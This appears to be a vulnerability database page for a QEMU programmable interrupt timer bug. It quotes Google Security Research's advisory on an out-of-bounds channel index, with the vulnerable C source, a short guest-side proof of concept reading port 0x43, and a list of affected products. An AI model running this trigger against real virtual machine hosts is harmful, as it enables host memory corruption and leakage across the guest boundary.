Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37990
Publication date : 2015-08-26 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=419#c4
The programmable interrupt timer (PIT) controller in QEMU does not correctly validate the channel number when performing IO writes to the device controller, allowing both an information disclosure and heap-overflow within the context of the host.
Depending on the layout of the data beyond the heap allocation, this vulnerability can set various bytes just beyond the heap allocation to non-attacker controlled values (mainly zero), as well as leaking various bytes from beyond the heap allocation back to the guest.
== Detail ==
The vulnerable function and relevant structures are given below:
typedef struct PITChannelState {
int count; /* can be 65536 */
uint16_t latched_count;
uint8_t count_latched;
uint8_t status_latched;
uint8_t status;
uint8_t read_state;
uint8_t write_state;
uint8_t write_latch;
uint8_t rw_mode;
uint8_t mode;
uint8_t bcd; /* not supported */
uint8_t gate; /* timer start */
int64_t count_load_time;
/* irq handling */
int64_t next_transition_time;
QEMUTimer *irq_timer;
qemu_irq irq;
uint32_t irq_disabled;
} PITChannelState;
typedef struct PITCommonState {
ISADevice dev;
MemoryRegion ioports;
uint32_t iobase;
PITChannelState channels[3];
} PITCommonState;
static uint64_t pit_ioport_read(void *opaque, hwaddr addr,
unsigned size)
{
PITCommonState *pit = opaque;
int ret, count;
PITChannelState *s;
addr &= 3;
s = &pit->channels[addr];
if (s->status_latched) {
s->status_latched = 0;
ret = s->status;
} else if (s->count_latched) {
switch(s->count_latched) {
default:
case RW_STATE_LSB:
ret = s->latched_count & 0xff;
s->count_latched = 0;
break;
case RW_STATE_MSB:
ret = s->latched_count >> 8;
s->count_latched = 0;
break;
case RW_STATE_WORD0:
ret = s->latched_count & 0xff;
s->count_latched = RW_STATE_MSB;
break;
}
} else {
switch(s->read_state) {
default:
case RW_STATE_LSB:
count = pit_get_count(s);
ret = count & 0xff;
break;
case RW_STATE_MSB:
count = pit_get_count(s);
ret = (count >> 8) & 0xff;
break;
case RW_STATE_WORD0:
count = pit_get_count(s);
ret = count & 0xff;
s->read_state = RW_STATE_WORD1;
break;
case RW_STATE_WORD1:
count = pit_get_count(s);
ret = (count >> 8) & 0xff;
s->read_state = RW_STATE_WORD0;
break;
}
}
return ret;
}
By specifying the value of addr to be IOPORT_PIT_CHANNEL0+3, the value of "addr & 3" will be set to 3. This is then used as a array index into s->channels, however since C array-indexes are zero-based (i.e. array[3] points to the fourth element of an array), and there are only three channels in the "PITCommonState.channels" field, this causes the "s" variable to point just beyond the bounds of the "PITChannelState" heap allocation.
What happens next is heavilly dependent on the bytes present beyond the heap allocation.
Firstly, the "s" variable - invalidly pointing beyond the heap allocation - dereferences the value "status_latched". If this value is non-zero, the host leaks the value held at "s->status" back to the guest, and triggers a relative write beyond bounds by setting a zero byte beyond the heap allocation at "s->status_latched".
If the value is zero - or if the vulnerability is triggered a second time - the value at "s->count_latched" is inspected. If it is non zero, the function can either leak the low, high, or both bytes of "s->latched_count" back to the guest, as well as causing "s->count_latched" to be set to zero.
If s->count_latched is also zero - or if the vulnerability is triggered a third time - the value at s->read_state is finally read. Depending its value, and the value of s->mode, this method can leak the low, high or both bytes of s->count back to the guest, and can cause the byte corresponding to s->read_state to be invalidly set to zero.
== PoC ==
Triggering this vulnerability from the context of a guest machine (running in Ring-0 in the guest VM) is simple:
#define IOPORT_PIT_CHANNEL0 0x40
void kmain()
{
uint8_t hostleaked;
size_t i;
for(i = 0; i < 6; i++)
{
// trigger write-beyond-bounds and host leak:
hostleaked = __inb(IOPORT_PIT_CHANNEL0 + 3);
}
}
Products Mentioned
Configuraton 0
Qemu>>Qemu >> Version To (including) 2.3.0
Linux>>Linux_kernel >> Version To (including) 2.6.32
Configuraton 0
Arista>>Eos >> Version 4.12
Arista>>Eos >> Version 4.13
Arista>>Eos >> Version 4.14
Arista>>Eos >> Version 4.15
Configuraton 0
Debian>>Debian_linux >> Version 7.0
Debian>>Debian_linux >> Version 8.0
Configuraton 0
Lenovo>>Emc_px12-400r_ivx >> Version To (excluding) 1.0.10.33264
Lenovo>>Emc_px12-450r_ivx >> Version To (excluding) 1.0.10.33264
Configuraton 0
Redhat>>Openstack >> Version 5.0
Redhat>>Openstack >> Version 6.0
Redhat>>Virtualization >> Version 3.0
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.1
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.2
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.3
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.4
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.5
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.6
Redhat>>Enterprise_linux_compute_node_eus >> Version 7.7
Redhat>>Enterprise_linux_for_power_big_endian >> Version 7.0
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.1_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.1_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.2_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.2_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.3_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.3_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.4_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.4_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.5_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.5_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.6_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.6_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64
- Redhat>>Enterprise_linux_for_power_big_endian_eus >> Version 7.7_ppc64 (Open CPE detail)
Redhat>>Enterprise_linux_for_scientific_computing >> Version 7.0
Redhat>>Enterprise_linux_server >> Version 7.0
Redhat>>Enterprise_linux_server_aus >> Version 7.3
Redhat>>Enterprise_linux_server_aus >> Version 7.4
Redhat>>Enterprise_linux_server_aus >> Version 7.6
Redhat>>Enterprise_linux_server_aus >> Version 7.7
Redhat>>Enterprise_linux_server_eus >> Version 7.1
Redhat>>Enterprise_linux_server_eus >> Version 7.2
Redhat>>Enterprise_linux_server_eus >> Version 7.3
Redhat>>Enterprise_linux_server_eus >> Version 7.4
Redhat>>Enterprise_linux_server_eus >> Version 7.5
Redhat>>Enterprise_linux_server_eus >> Version 7.6
Redhat>>Enterprise_linux_server_eus >> Version 7.7
Redhat>>Enterprise_linux_server_from_rhui >> Version 7.0
Redhat>>Enterprise_linux_server_tus >> Version 7.3
Redhat>>Enterprise_linux_server_tus >> Version 7.6
Redhat>>Enterprise_linux_server_tus >> Version 7.7
Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.2
- Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.2 (Open CPE detail)
Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.3
- Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.3 (Open CPE detail)
Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.4
- Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.4 (Open CPE detail)
Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.6
- Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.6 (Open CPE detail)
Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.7
- Redhat>>Enterprise_linux_server_update_services_for_sap_solutions >> Version 7.7 (Open CPE detail)
Redhat>>Enterprise_linux_workstation >> Version 7.0
References